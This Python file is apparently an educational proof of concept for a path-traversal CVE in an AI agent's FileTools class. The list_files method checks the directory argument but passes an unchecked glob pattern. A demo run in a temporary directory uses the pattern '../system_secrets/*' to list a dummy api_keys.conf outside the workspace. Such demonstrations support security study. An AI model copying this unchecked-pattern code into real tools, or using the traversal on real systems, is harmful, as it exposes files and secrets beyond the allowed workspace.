Vulnerable code sample

import os
from pathlib import Path
import tempfile
import time

# This code represents the vulnerable state of FileTools prior to version 1.5.128
# as described in the CVE. It is for educational and demonstration purposes only.

class FileTools:
    """
    A simplified representation of the FileTools class with the vulnerability.
    """
    def __init__(self, workspace_path: str):
        self.workspace = Path(workspace_path).resolve()
        if not self.workspace.exists():
            self.workspace.mkdir(parents=True, exist_ok=True)
        print(f"FileTools initialized with workspace: {self.workspace}")

    def _validate_path(self, path_to_validate: Path):
        """
        Validates that the given path is within the configured workspace.
        This check is correctly applied to the 'directory' parameter.
        """
        resolved_path = path_to_validate.resolve()
        if not resolved_path.is_relative_to(self.workspace):
            raise ValueError(f"Path '{path_to_validate}' is outside the allowed workspace.")
        return resolved_path

    def list_files(self, directory: str, pattern: str = "*"):
        """
        Vulnerable function to list files.

        It validates the 'directory' parameter but fails to validate the 'pattern'
        parameter, passing it directly to Path.glob(). This allows an attacker
        to use '..' in the pattern to traverse outside the workspace.
        """
        print(f"\n--- Calling list_files(directory='{directory}', pattern='{pattern}') ---")
        try:
            # The 'directory' is combined with the workspace and validated.
            # This provides a false sense of security.
            base_dir = self.workspace / directory
            self._validate_path(base_dir)
            print(f"[+] 'directory' parameter validated successfully. Base search path: {base_dir}")

            # THE VULNERABILITY: 'pattern' is not sanitized and is passed directly to glob().
            # An attacker can inject '..' to traverse the filesystem.
            print(f"[!] 'pattern' parameter is not validated. Passing '{pattern}' directly to glob.")
            glob_results = base_dir.glob(pattern)

            file_info_list = []
            for path in glob_results:
                if path.is_file():
                    stat = path.stat()
                    file_info_list.append({
                        "name": path.name,
                        "path": str(path.resolve()),
                        "size": stat.st_size,
                        "mtime": stat.st_mtime,
                    })
            
            print(f"[+] Found {len(file_info_list)} file(s).")
            return file_info_list

        except ValueError as e:
            print(f"[-] Operation blocked: {e}")
            return None


# --- Demonstration of the exploit ---
if __name__ == "__main__":
    with tempfile.TemporaryDirectory() as tmpdir:
        base_dir = Path(tmpdir)
        workspace_dir = base_dir / "agent_workspace"
        secret_dir = base_dir / "system_secrets"

        # Setup the environment
        workspace_dir.mkdir()
        secret_dir.mkdir()

        (workspace_dir / "public_plan.txt").write_text("This is a public file.")
        (secret_dir / "api_keys.conf").write_text("SECRET_KEY=ABC123XYZ789")

        print("="*60)
        print("      DEMONSTRATING CVE-2026-40152 VULNERABILITY")
        print("="*60)
        print(f"Temp Directory: {base_dir}")
        print(f"Workspace: {workspace_dir}")
        print(f"Secret Location: {secret_dir}")
        print("="*60)

        # Instantiate the vulnerable class
        tools = FileTools(workspace_path=str(workspace_dir))

        # 1. Legitimate use case: Listing files within the workspace.
        print("\n\n>>> 1. Legitimate Use Case")
        legitimate_files = tools.list_files(directory=".", pattern="*.txt")
        if legitimate_files:
            print("--- Results ---")
            for f in legitimate_files:
                print(f"  - Found safe file: {f['name']} (Path: {f['path']})")

        # 2. Blocked attack: Attempting path traversal via the 'directory' parameter.
        print("\n\n>>> 2. Blocked Attack Attempt (via 'directory' parameter)")
        tools.list_files(directory="../system_secrets", pattern="*")

        # 3. Successful exploit: Using path traversal in the 'pattern' parameter.
        print("\n\n>>> 3. SUCCESSFUL EXPLOIT (via 'pattern' parameter)")
        # The pattern traverses up from the workspace, then into the secrets directory.
        malicious_pattern = f"../{secret_dir.name}/*"
        leaked_files = tools.list_files(directory=".", pattern=malicious_pattern)
        
        if leaked_files:
            print("\n--- VULNERABILITY CONFIRMED ---")
            print("Leaked file metadata from outside the workspace:")
            for f in leaked_files:
                print(f"  - Leaked file: {f['name']}")
                print(f"    Path: {f['path']}")
                print(f"    Size: {f['size']} bytes")
                print(f"    Modified: {time.ctime(f['mtime'])}")
        else:
            print("\n--- Exploit did not find files ---")